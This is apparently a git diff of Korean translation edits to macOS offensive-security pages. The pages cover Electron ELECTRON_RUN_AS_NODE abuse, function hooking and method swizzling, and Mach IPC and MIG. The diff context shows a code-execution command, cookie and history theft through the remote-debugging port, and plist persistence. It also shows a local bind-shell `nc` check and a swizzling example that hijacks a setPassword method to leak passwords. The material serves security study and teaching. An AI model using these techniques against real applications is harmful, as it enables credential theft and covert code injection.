ELECTRON_RUN_AS_NODE=1 /Applications/Di require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> 만약 퓨즈 **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되지 않는 한 실행 시 **node 매개변수**(예: `--inspect`)를 **무시**합니다. 또한 퓨즈 **`RunAsNode`**가 비활성화되어 있으면 이 변수도 **무시**됩니다. +> 만약 퓨즈 **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 **노드 매개변수**(예: `--inspect`)를 무시하고 실행되며, 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되지 않는 한 무시됩니다. 또한 퓨즈 **`RunAsNode`**가 비활성화되어 있으면 이 변수도 **무시됩니다**. > -> 그러나 여전히 **electron 매개변수 `--remote-debugging-port=9229`**를 사용할 수 있지만, 이전 페이로드는 다른 프로세스를 실행하는 데 작동하지 않습니다. - -매개변수 **`--remote-debugging-port=9222`**를 사용하면 Electron 앱에서 **히스토리**(GET 명령어로)나 브라우저의 **쿠키**와 같은 일부 정보를 훔칠 수 있습니다(브라우저 내에서 **복호화**되며, 이를 제공하는 **json 엔드포인트**가 있습니다). +> 그러나 **electron 매개변수 `--remote-debugging-port=9229`**를 사용하여 Electron 앱에서 **히스토리**(GET 명령어로)나 브라우저의 **쿠키**를 훔칠 수 있습니다(브라우저 내에서 **복호화**되며, 이를 제공하는 **json 엔드포인트**가 있습니다). 이 방법에 대해 배우려면 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)를 참조하고 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 또는 다음과 같은 간단한 스크립트를 사용할 수 있습니다: ```python @@ -171,7 +169,7 @@ print(ws.recv() ``` 이 [**블로그 포스트**](https://hackerone.com/reports/1274695)에서는 이 디버깅을 악용하여 헤드리스 크롬이 **임의의 파일을 임의의 위치에 다운로드**하도록 합니다. -### 앱 Plist에서의 주입 +### 앱 plist에서의 주입 이 env 변수를 plist에서 악용하여 지속성을 유지하기 위해 다음 키를 추가할 수 있습니다: ```xml @@ -237,7 +235,7 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` -## 참고 문헌 +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md index 253d84bdc..ea0c9ac47 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md @@ -84,7 +84,7 @@ Hello from interpose ### 동적 인터포징 -이제 **`dyld_dynamic_interpose`** 함수를 사용하여 동적으로 함수를 인터포즈할 수 있습니다. 이를 통해 시작할 때만 하는 것이 아니라 런타임에 프로그램적으로 함수를 인터포즈할 수 있습니다. +이제 **`dyld_dynamic_interpose`** 함수를 사용하여 동적으로 함수를 인터포즈하는 것도 가능합니다. 이를 통해 시작할 때만 하는 것이 아니라 런타임에 프로그램적으로 함수를 인터포즈할 수 있습니다. **대체할 함수와 대체 함수의 튜플**을 지정하기만 하면 됩니다. ```c @@ -97,20 +97,20 @@ const struct dyld_interpose_tuple array[], size_t count); ``` ## Method Swizzling -ObjectiveC에서 메소드는 다음과 같이 호출됩니다: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** +In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -필요한 것은 **객체**, **메소드** 및 **매개변수**입니다. 메소드가 호출될 때 **msg가 전송됩니다**. 이때 사용하는 함수는 **`objc_msgSend`**입니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +필요한 것은 **객체**, **메서드** 및 **매개변수**입니다. 메서드가 호출될 때 **msg가 전송**되며, 함수 **`objc_msgSend`**를 사용합니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -객체는 **`someObject`**, 메소드는 **`@selector(method1p1:p2:)`**이며, 인자는 **value1**, **value2**입니다. +객체는 **`someObject`**, 메서드는 **`@selector(method1p1:p2:)`**이며, 인수는 **value1**, **value2**입니다. -객체 구조를 따라가면 **메소드 배열**에 도달할 수 있으며, 여기에는 **이름**과 **메소드 코드에 대한 포인터**가 **위치**해 있습니다. +객체 구조를 따라가면 **메서드 배열**에 도달할 수 있으며, 여기에는 **이름**과 **메서드 코드에 대한 포인터**가 **위치**합니다. > [!CAUTION] -> 메소드와 클래스가 이름을 기반으로 접근되기 때문에 이 정보는 바이너리에 저장됩니다. 따라서 `otool -ov ` 또는 [`class-dump `](https://github.com/nygard/class-dump)로 이를 검색할 수 있습니다. +> 메서드와 클래스가 이름을 기반으로 접근되기 때문에 이 정보는 바이너리에 저장됩니다. 따라서 `otool -ov ` 또는 [`class-dump `](https://github.com/nygard/class-dump)로 검색할 수 있습니다. ### Accessing the raw methods -메소드의 이름, 매개변수 수 또는 주소와 같은 정보를 다음 예제와 같이 접근할 수 있습니다: +메서드의 이름, 매개변수 수 또는 주소와 같은 정보를 다음 예제와 같이 접근할 수 있습니다: ```objectivec // gcc -framework Foundation test.m -o test @@ -232,9 +232,9 @@ return 0; ### method_setImplementation을 이용한 메서드 스위즐링 -이전 형식은 서로 다른 두 메서드의 구현을 변경하기 때문에 이상합니다. **`method_setImplementation`** 함수를 사용하면 **하나의 메서드의 구현을 다른 메서드로 변경**할 수 있습니다. +이전 형식은 서로 다른 두 메서드의 구현을 변경하기 때문에 이상합니다. **`method_setImplementation`** 함수를 사용하면 **다른 메서드의 구현**을 **변경**할 수 있습니다. -새로운 구현에서 호출하기 전에 원래 구현의 주소를 **저장**하는 것을 잊지 마세요. 그렇지 않으면 나중에 그 주소를 찾기가 훨씬 복잡해질 것입니다. +새로운 구현에서 호출하기 전에 **원래 구현의 주소를 저장**하는 것을 잊지 마세요. 그렇지 않으면 나중에 그 주소를 찾기가 훨씬 복잡해질 것입니다. ```objectivec #import #import @@ -311,7 +311,7 @@ return 0; 정보를 유출하기 위한 후킹 코드를 해당 라이브러리에 추가하세요: 비밀번호, 메시지... > [!CAUTION] -> 최신 버전의 macOS에서는 애플리케이션 바이너리의 **서명을 제거**하고 이전에 실행된 경우, macOS는 **더 이상 애플리케이션을 실행하지 않습니다**. +> 최신 버전의 macOS에서는 애플리케이션 바이너리의 **서명을 제거**하고 이전에 실행된 경우, macOS가 더 이상 **애플리케이션을 실행하지 않습니다**. #### 라이브러리 예제 ```objectivec @@ -349,7 +349,7 @@ IMP fake_IMP = (IMP)custom_setPassword; real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` -## References +## 참고문헌 - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index d8f5b1f97..864ab6632 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -10,7 +10,7 @@ Mach는 **작업**을 **자원을 공유하기 위한 가장 작은 단위**로 작업 간의 통신은 Mach Inter-Process Communication (IPC)을 통해 이루어지며, 단방향 통신 채널을 활용합니다. **메시지는 포트 간에 전송되며**, 이는 커널에 의해 관리되는 일종의 **메시지 큐** 역할을 합니다. -**포트**는 Mach IPC의 **기본** 요소입니다. 이는 **메시지를 전송하고 수신하는 데 사용**될 수 있습니다. +**포트**는 Mach IPC의 **기본** 요소입니다. 이는 **메시지를 전송하고 수신하는 데 사용될 수 있습니다**. 각 프로세스는 **IPC 테이블**을 가지고 있으며, 여기에서 **프로세스의 mach 포트**를 찾을 수 있습니다. mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다. @@ -29,7 +29,7 @@ Mach는 **작업**을 **자원을 공유하기 위한 가장 작은 단위**로 - **일회성 전송 권한**, 이는 포트로 한 메시지를 전송한 후 사라집니다. - 이 권한은 **복제될 수 없지만**, **이동될 수 있습니다**. - **포트 집합 권한**, 이는 단일 포트가 아닌 _포트 집합_을 나타냅니다. 포트 집합에서 메시지를 제거하면 그 집합에 포함된 포트 중 하나에서 메시지가 제거됩니다. 포트 집합은 Unix의 `select`/`poll`/`epoll`/`kqueue`와 유사하게 여러 포트에서 동시에 수신하는 데 사용될 수 있습니다. -- **죽은 이름**, 이는 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면, 해당 포트에 대한 모든 기존 포트 권한은 죽은 이름으로 변합니다. +- **죽은 이름**, 이는 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면, 해당 포트에 대한 모든 기존 포트 권한은 죽은 이름으로 변환됩니다. **작업은 다른 작업에 SEND 권한을 전송할 수 있어**, 이를 통해 메시지를 다시 보낼 수 있습니다. **SEND 권한은 또한 복제될 수 있어, 작업이 이를 복제하고 세 번째 작업에 부여할 수 있습니다**. 이는 **부트스트랩 서버**라는 중개 프로세스와 결합되어 작업 간의 효과적인 통신을 가능하게 합니다. @@ -46,21 +46,21 @@ Mach는 **작업**을 **자원을 공유하기 위한 가장 작은 단위**로 1. 작업 **A**가 **새 포트**를 생성하고, 그에 대한 **수신 권한**을 얻습니다. 2. 작업 **A**는 수신 권한의 소유자로서 **포트에 대한 SEND 권한을 생성**합니다. 3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하고, **처음 생성한 포트에 대한 SEND 권한을 전송**합니다. -- 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있다는 점을 기억하세요. +- 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있음을 기억하세요. 4. 작업 A는 부트스트랩 서버에 `bootstrap_register` 메시지를 보내 **주어진 포트를 `com.apple.taska`와 같은 이름에 연결**합니다. 5. 작업 **B**는 **부트스트랩 서버**와 상호작용하여 서비스 이름에 대한 부트스트랩 **조회**를 실행합니다(`bootstrap_lookup`). 부트스트랩 서버가 응답할 수 있도록, 작업 B는 조회 메시지 내에서 **이전에 생성한 포트에 대한 SEND 권한**을 전송합니다. 조회가 성공하면, **서버는 작업 A로부터 받은 SEND 권한을 복제하여 작업 B에 전송**합니다. -- 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있다는 점을 기억하세요. +- 누구나 부트스트랩 서버에 SEND 권한을 얻을 수 있음을 기억하세요. 6. 이 SEND 권한으로 **작업 B**는 **작업 A**에 **메시지를 전송**할 수 있습니다. 7. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **SEND 권한을 작업 A에 부여**하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). -부트스트랩 서버는 **작업이 주장하는 서비스 이름을 인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **모든 시스템 작업을 가장할 수 있음을 의미합니다**, 예를 들어 잘못된 **인증 서비스 이름을 주장하고 모든 요청을 승인하는 경우**입니다. +부트스트랩 서버는 작업이 주장하는 서비스 이름을 **인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **모든 시스템 작업을 가장할 수 있음을 의미합니다**, 예를 들어 잘못된 **인증 서비스 이름을 주장하고 모든 요청을 승인하는 것입니다**. 그런 다음 Apple은 **시스템 제공 서비스의 이름**을 보안 구성 파일에 저장하며, 이 파일은 **SIP 보호** 디렉토리에 위치합니다: `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`. 각 서비스 이름과 함께 **연관된 바이너리도 저장됩니다**. 부트스트랩 서버는 이러한 서비스 이름 각각에 대해 **수신 권한을 생성하고 유지**합니다. 이러한 미리 정의된 서비스에 대해 **조회 프로세스는 약간 다릅니다**. 서비스 이름이 조회될 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다: - 작업 **B**가 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다. -- **launchd**는 작업이 실행 중인지 확인하고, 실행 중이 아니라면 **시작**합니다. +- **launchd**는 작업이 실행 중인지 확인하고, 실행 중이 아니면 **시작**합니다. - 작업 **A**(서비스)는 **부트스트랩 체크인**(`bootstrap_check_in()`)을 수행합니다. 여기서 **부트스트랩** 서버는 SEND 권한을 생성하고 이를 유지하며, **수신 권한을 작업 A에 전송**합니다. - launchd는 **SEND 권한을 복제하여 작업 B에 전송**합니다. - 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **SEND 권한을 작업 A**(svc)에 부여하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). @@ -110,7 +110,7 @@ mach_msg_id_t msgh_id; ``` 예를 들어, `MACH_MSG_TYPE_MAKE_SEND_ONCE`는 이 포트에 대해 **전송-한번** **권한**이 파생되고 전송되어야 함을 **지시**하는 데 사용될 수 있습니다. 수신자가 응답할 수 없도록 `MACH_PORT_NULL`로 지정할 수도 있습니다. -쉬운 **양방향 통신**을 달성하기 위해 프로세스는 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach **메시지 헤더**에 **mach 포트**를 지정할 수 있으며, 여기서 메시지의 **수신자**는 이 메시지에 **응답**을 보낼 수 있습니다. +쉬운 **양방향 통신**을 달성하기 위해 프로세스는 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach **메시지 헤더**에 **mach 포트**를 지정할 수 있으며, 여기서 메시지의 **수신자**는 이 메시지에 **응답을 보낼** 수 있습니다. > [!TIP] > 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용된다는 점에 유의하십시오 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 양방향 통신을 생성하기 위해** 이전에 설명한 대로 **다른 포트가 생성됩니다**. @@ -150,12 +150,12 @@ unsigned int pad3 : 24; mach_msg_descriptor_type_t type : 8; } mach_msg_type_descriptor_t; ``` -In 32비트에서는 모든 설명자가 12B이고 설명자 유형은 11번째에 있습니다. 64비트에서는 크기가 다양합니다. +In 32비트에서는 모든 설명자가 12B이고 설명자 유형은 11번째에 있습니다. 64비트에서는 크기가 다릅니다. > [!CAUTION] > 커널은 한 작업에서 다른 작업으로 설명자를 복사하지만 먼저 **커널 메모리에 복사본을 생성**합니다. "Feng Shui"로 알려진 이 기술은 여러 익스플로잇에서 남용되어 **커널이 자신의 메모리에 데이터를 복사**하게 하여 프로세스가 자신에게 설명자를 전송하게 만듭니다. 그런 다음 프로세스는 메시지를 수신할 수 있습니다(커널이 이를 해제합니다). > -> 또한 **취약한 프로세스에 포트 권한을 전송**하는 것도 가능하며, 포트 권한은 프로세스에 나타납니다(처리하지 않더라도). +> 또한 **취약한 프로세스에 포트 권한을 전송**할 수도 있으며, 포트 권한은 프로세스에 나타납니다(처리하지 않더라도). ### Mac Ports APIs @@ -163,20 +163,20 @@ In 32비트에서는 모든 설명자가 12B이고 설명자 유형은 11번째 - **`mach_port_allocate` | `mach_port_construct`**: **포트 생성**. - `mach_port_allocate`는 **포트 집합**도 생성할 수 있습니다: 포트 그룹에 대한 수신 권한. 메시지가 수신될 때마다 포트가 어디에서 왔는지 표시됩니다. -- `mach_port_allocate_name`: 포트의 이름을 변경합니다(기본값은 32비트 정수). +- `mach_port_allocate_name`: 포트의 이름을 변경합니다(기본적으로 32비트 정수). - `mach_port_names`: 대상에서 포트 이름을 가져옵니다. - `mach_port_type`: 이름에 대한 작업의 권한을 가져옵니다. - `mach_port_rename`: 포트 이름을 변경합니다(FD의 dup2와 유사). - `mach_port_allocate`: 새로운 RECEIVE, PORT_SET 또는 DEAD_NAME을 할당합니다. - `mach_port_insert_right`: RECEIVE 권한이 있는 포트에 새로운 권한을 생성합니다. - `mach_port_...` -- **`mach_msg`** | **`mach_msg_overwrite`**: **mach 메시지를 전송하고 수신하는 데 사용되는 함수**. 오버라이트 버전은 메시지 수신을 위한 다른 버퍼를 지정할 수 있습니다(다른 버전은 단순히 이를 재사용합니다). +- **`mach_msg`** | **`mach_msg_overwrite`**: **mach 메시지를 전송하고 수신하는 데 사용되는 함수**. 오버라이트 버전은 메시지 수신을 위한 다른 버퍼를 지정할 수 있습니다(다른 버전은 단순히 재사용합니다). ### Debug mach_msg **`mach_msg`** 및 **`mach_msg_overwrite`** 함수는 수신 메시지를 전송하는 데 사용되므로, 이들에 중단점을 설정하면 전송된 메시지와 수신된 메시지를 검사할 수 있습니다. -예를 들어, 디버깅할 수 있는 애플리케이션을 시작하면 **`libSystem.B`가 로드되어 이 함수를 사용할 것입니다**. +예를 들어, 디버깅할 수 있는 애플리케이션을 시작하면 **`libSystem.B`가 로드되어 이 함수를 사용합니다**.
(lldb) b mach_msg
 Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@@ -228,7 +228,7 @@ x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
 x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
 x6 = 0x0000000000000000 ;mach_port_name_t (notify)
 ```
-메시지 헤더를 검사하여 첫 번째 인수를 확인합니다:
+메시지 헤더를 검사하여 첫 번째 인수를 확인하십시오:
 ```armasm
 (lldb) x/6w $x0
 0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
@@ -268,10 +268,10 @@ name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  q
 [...]
 ```
 **이름**은 포트에 기본적으로 주어진 이름입니다(첫 3 바이트에서 **증가**하는 방식을 확인하세요). **`ipc-object`**는 포트의 **난독화된** 고유 **식별자**입니다.\
-오직 **`send`** 권한만 있는 포트가 그것의 **소유자**를 **식별**하는 방식을 주목하세요(포트 이름 + pid).\
-같은 포트에 연결된 **다른 작업**을 나타내기 위해 **`+`**의 사용도 주목하세요.
+오직 **`send`** 권한만 있는 포트가 그것의 **소유자**(포트 이름 + pid)를 **식별**하는 방식을 주목하세요.\
+또한 **`+`**를 사용하여 **같은 포트에 연결된 다른 작업**을 나타내는 방식도 주목하세요.
 
-또한 [**procesxp**](https://www.newosxbook.com/tools/procexp.html)를 사용하여 **등록된 서비스 이름**을 확인할 수도 있습니다(SIP가 비활성화되어 있어야 `com.apple.system-task-port` 필요).
+[**procesxp**](https://www.newosxbook.com/tools/procexp.html)를 사용하여 **등록된 서비스 이름**도 확인할 수 있습니다(SIP가 비활성화되어 있어야 `com.apple.system-task-port` 필요).
 ```
 procesp 1 ports
 ```
@@ -407,13 +407,13 @@ printf("Sent a message\n");
 
 ## 특권 포트
 
-특정 민감한 작업을 수행하거나 특정 민감한 데이터에 접근할 수 있도록 허용하는 몇 가지 특별한 포트가 있습니다. 작업이 이들에 대해 **SEND** 권한을 가지고 있는 경우에 해당합니다. 이는 공격자의 관점에서 이러한 포트가 매우 흥미로운 이유는 기능뿐만 아니라 **작업 간에 SEND 권한을 공유할 수 있기 때문**입니다.
+특정 민감한 작업을 수행하거나 특정 민감한 데이터에 접근할 수 있는 **SEND** 권한이 있는 경우, 몇 가지 특별한 포트가 있습니다. 이는 공격자의 관점에서 이러한 포트가 매우 흥미로운 이유는 기능뿐만 아니라 **작업 간에 SEND 권한을 공유할 수 있기 때문**입니다.
 
 ### 호스트 특별 포트
 
 이 포트는 숫자로 표현됩니다.
 
-**SEND** 권한은 **`host_get_special_port`**를 호출하여 얻을 수 있으며, **RECEIVE** 권한은 **`host_set_special_port`**를 호출하여 얻을 수 있습니다. 그러나 두 호출 모두 **`host_priv`** 포트를 필요로 하며, 이는 오직 루트만 접근할 수 있습니다. 게다가, 과거에는 루트가 **`host_set_special_port`**를 호출하여 임의의 포트를 탈취할 수 있었으며, 예를 들어 `HOST_KEXTD_PORT`를 탈취하여 코드 서명을 우회할 수 있었습니다(현재 SIP가 이를 방지합니다).
+**SEND** 권한은 **`host_get_special_port`**를 호출하여 얻을 수 있으며, **RECEIVE** 권한은 **`host_set_special_port`**를 호출하여 얻을 수 있습니다. 그러나 두 호출 모두 루트만 접근할 수 있는 **`host_priv`** 포트를 필요로 합니다. 게다가, 과거에는 루트가 **`host_set_special_port`**를 호출하여 임의의 포트를 탈취할 수 있었으며, 예를 들어 `HOST_KEXTD_PORT`를 탈취하여 코드 서명을 우회할 수 있었습니다(현재 SIP가 이를 방지합니다).
 
 이들은 2개의 그룹으로 나뉩니다: **첫 7개의 포트는 커널에 의해 소유**되며, 1은 `HOST_PORT`, 2는 `HOST_PRIV_PORT`, 3은 `HOST_IO_MASTER_PORT`, 7은 `HOST_MAX_SPECIAL_KERNEL_PORT`입니다.\
 숫자 **8**부터 시작하는 포트는 **시스템 데몬에 의해 소유**되며, [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html)에서 선언된 것을 찾을 수 있습니다.
@@ -424,13 +424,13 @@ printf("Sent a message\n");
   - `host_virtual_physical_table_info`: 가상/물리 페이지 테이블 (MACH_VMDEBUG 필요)
   - `host_statistics`: 호스트 통계 얻기
   - `mach_memory_info`: 커널 메모리 레이아웃 얻기
-- **호스트 프라이빗 포트**: 이 포트에 대해 **SEND** 권한을 가진 프로세스는 부팅 데이터 표시 또는 커널 확장 로드 시도와 같은 **특권 작업**을 수행할 수 있습니다. **프로세스는 루트여야** 이 권한을 얻을 수 있습니다.
-- 게다가, **`kext_request`** API를 호출하기 위해서는 **`com.apple.private.kext*`**와 같은 다른 권한이 필요하며, 이는 오직 Apple 바이너리에만 부여됩니다.
+- **호스트 프라이빗 포트**: 이 포트에 대해 **SEND** 권한이 있는 프로세스는 부팅 데이터 표시 또는 커널 확장 로드 시도와 같은 **특권 작업**을 수행할 수 있습니다. **프로세스는 루트여야** 이 권한을 얻을 수 있습니다.
+- 또한, **`kext_request`** API를 호출하려면 **`com.apple.private.kext*`**와 같은 다른 권한이 필요하며, 이는 Apple 바이너리에게만 부여됩니다.
 - 호출할 수 있는 다른 루틴은 다음과 같습니다:
   - `host_get_boot_info`: `machine_boot_info()` 얻기
   - `host_priv_statistics`: 특권 통계 얻기
   - `vm_allocate_cpm`: 연속 물리 메모리 할당
-  - `host_processors`: 호스트 프로세서에 대한 권한 전송
+  - `host_processors`: 호스트 프로세서에 대한 SEND 권한
   - `mach_vm_wire`: 메모리를 상주 상태로 만들기
 - **루트**가 이 권한에 접근할 수 있으므로, `host_set_[special/exception]_port[s]`를 호출하여 **호스트 특별 또는 예외 포트를 탈취**할 수 있습니다.
 
@@ -774,9 +774,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
 
 macOS에서 **스레드**는 **Mach** 또는 **posix `pthread` api**를 사용하여 조작할 수 있습니다. 이전 주입에서 생성한 스레드는 Mach api를 사용하여 생성되었으므로 **posix 호환성이 없습니다**.
 
-**단순한 셸코드**를 주입하여 명령을 실행할 수 있었던 이유는 **posix** 호환 api와 작업할 필요가 없었기 때문이며, 오직 Mach과만 작업하면 되었습니다. **더 복잡한 주입**은 **스레드**가 또한 **posix 호환성**을 가져야 합니다.
+**단순한 쉘코드**를 주입하여 명령을 실행할 수 있었던 이유는 **posix** 호환 api와 작업할 필요가 없었기 때문이며, 오직 Mach과만 작업하면 되었습니다. **더 복잡한 주입**은 **스레드**가 또한 **posix 호환성**을 가져야 합니다.
 
-따라서 **스레드**를 **개선하기 위해** **`pthread_create_from_mach_thread`**를 호출해야 하며, 이는 **유효한 pthread**를 생성합니다. 그런 다음, 이 새로운 pthread는 **dlopen**을 호출하여 시스템에서 **dylib**를 **로드**할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
+따라서 **스레드**를 **개선하기 위해**는 **`pthread_create_from_mach_thread`**를 호출해야 하며, 이는 **유효한 pthread**를 생성합니다. 그런 다음, 이 새로운 pthread는 **dlopen**을 호출하여 시스템에서 **dylib**를 **로드**할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 쉘코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
 
 **예제 dylibs**는 (예를 들어 로그를 생성하고 이를 들을 수 있는 것)에서 찾을 수 있습니다:
 
@@ -1076,9 +1076,9 @@ macos-thread-injection-via-task-port.md
 
 ## 예외 포트
 
-스레드에서 예외가 발생하면 이 예외는 스레드의 지정된 예외 포트로 전송됩니다. 스레드가 이를 처리하지 않으면 작업 예외 포트로 전송됩니다. 작업이 이를 처리하지 않으면 호스트 포트로 전송되며, 이는 launchd에 의해 관리됩니다(여기서 인식됩니다). 이를 예외 분류라고 합니다.
+스레드에서 예외가 발생하면, 이 예외는 스레드의 지정된 예외 포트로 전송됩니다. 스레드가 이를 처리하지 않으면, 작업 예외 포트로 전송됩니다. 작업이 이를 처리하지 않으면, launchd에 의해 관리되는 호스트 포트로 전송됩니다(여기서 인식됩니다). 이를 예외 분류라고 합니다.
 
-보통 적절히 처리되지 않으면 보고서는 ReportCrash 데몬에 의해 처리됩니다. 그러나 같은 작업의 다른 스레드가 예외를 관리할 수 있으며, 이는 `PLCreashReporter`와 같은 크래시 보고 도구가 수행하는 작업입니다.
+보통 마지막에 제대로 처리되지 않으면 보고서는 ReportCrash 데몬에 의해 처리됩니다. 그러나 같은 작업의 다른 스레드가 예외를 관리할 수 있으며, 이것이 `PLCreashReporter`와 같은 크래시 보고 도구가 하는 일입니다.
 
 ## 기타 객체
 
@@ -1097,12 +1097,12 @@ macos-thread-injection-via-task-port.md
 프로세서 집합과 상호작용하기 위한 몇 가지 흥미로운 API는 다음과 같습니다:
 
 - `processor_set_statistics`
-- `processor_set_tasks`: 프로세서 집합 내 모든 작업에 대한 전송 권한 배열을 반환합니다.
-- `processor_set_threads`: 프로세서 집합 내 모든 스레드에 대한 전송 권한 배열을 반환합니다.
+- `processor_set_tasks`: 프로세서 집합 내의 모든 작업에 대한 전송 권한 배열을 반환합니다.
+- `processor_set_threads`: 프로세서 집합 내의 모든 스레드에 대한 전송 권한 배열을 반환합니다.
 - `processor_set_stack_usage`
 - `processor_set_info`
 
-[**이 게시물**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/)에서 언급했듯이, 과거에는 이전에 언급된 보호를 우회하여 다른 프로세스의 작업 포트를 얻고 **`processor_set_tasks`**를 호출하여 모든 프로세스에서 호스트 포트를 얻을 수 있었습니다.\
+[**이 게시물**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/)에서 언급했듯이, 과거에는 이를 통해 이전에 언급된 보호를 우회하여 다른 프로세스의 작업 포트를 얻고 **`processor_set_tasks`**를 호출하여 모든 프로세스에서 호스트 포트를 얻을 수 있었습니다.\
 현재는 해당 기능을 사용하려면 루트 권한이 필요하며, 이는 보호되어 있어 보호되지 않은 프로세스에서만 이러한 포트를 얻을 수 있습니다.
 
 다음과 같이 시도해 볼 수 있습니다:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 3df5f4048..6fafcd698 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -4,15 +4,15 @@
 
 ## 기본 정보
 
-MIG는 **Mach IPC** 코드 생성을 단순화하기 위해 만들어졌습니다. 기본적으로 **서버와 클라이언트가 주어진 정의로 통신하기 위해 필요한 코드를 생성**합니다. 생성된 코드가 지저분하더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다.
+MIG는 **Mach IPC** 코드 생성을 단순화하기 위해 만들어졌습니다. 기본적으로 **서버와 클라이언트가 주어진 정의로 통신하기 위해 필요한 코드를 생성**합니다. 생성된 코드가 지저분하더라도 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다.
 
 정의는 `.defs` 확장자를 사용하여 인터페이스 정의 언어(IDL)로 지정됩니다.
 
 이 정의는 5개의 섹션으로 구성됩니다:
 
 - **서브시스템 선언**: 키워드 subsystem은 **이름**과 **id**를 나타내는 데 사용됩니다. 서버가 커널에서 실행되어야 하는 경우 **`KernelServer`**로 표시할 수도 있습니다.
-- **포함 및 가져오기**: MIG는 C 전처리기를 사용하므로 가져오기를 사용할 수 있습니다. 또한, 사용자 또는 서버 생성 코드에 대해 `uimport` 및 `simport`를 사용할 수 있습니다.
